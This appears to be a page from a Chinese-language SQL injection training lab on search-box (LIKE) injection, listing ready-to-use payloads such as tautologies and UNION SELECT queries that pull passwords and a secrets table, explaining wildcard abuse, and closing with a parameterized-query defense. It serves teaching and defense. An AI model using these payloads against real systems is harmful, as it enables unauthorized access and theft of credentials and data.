🔍 实验三:搜索注入

LIKE-based SQL Injection

📖 原理说明

搜索功能通常使用 LIKE 语句,同样存在注入风险:

-- 原始查询
SELECT * FROM users WHERE username LIKE '%关键词%'

-- 注入后
SELECT * FROM users WHERE username LIKE '%' OR 1=1--%'
                                          ↑
                                    返回所有用户!

🧪 漏洞演示 - 用户搜索

💡 尝试以下 Payload:

返回所有用户:

' OR '1'='1

' OR 1=1--

UNION 注入窃取密码:

' UNION SELECT id,password,role FROM users--

窃取 secrets 表:

' UNION SELECT id,content,level FROM secrets--

执行的 SQL:

等待输入...

搜索结果:

等待搜索...

🎯 攻击详解

Payload: ' OR '1'='1

SELECT * FROM users WHERE username LIKE '%' OR '1'='1%'
                                            ↑
                                      永远为真
                                      返回所有记录

Payload: ' UNION SELECT...

SELECT id, username, role FROM users WHERE username LIKE '%'
UNION SELECT id, password, role FROM users--%'
             ↑
      窃取密码字段!

通配符攻击

-- % 匹配任意字符
搜索: %
结果: 返回所有用户

-- _ 匹配单个字符
搜索: ____  (4个下划线)
结果: 返回用户名为4个字符的用户 (如 test, lisi)

🔬 真实案例

搜索注入在实际应用中非常常见:

  • 电商网站商品搜索
  • 用户管理后台
  • 日志查询系统
  • 内容管理系统

🛡️ 防御要点

安全的实现:

// ✅ 参数化 + 转义通配符
const safeKeyword = keyword.replace(/%/g, '\\%').replace(/_/g, '\\_')
const sql = 'SELECT * FROM users WHERE username LIKE ?'
db.prepare(sql).all(`%${safeKeyword}%`)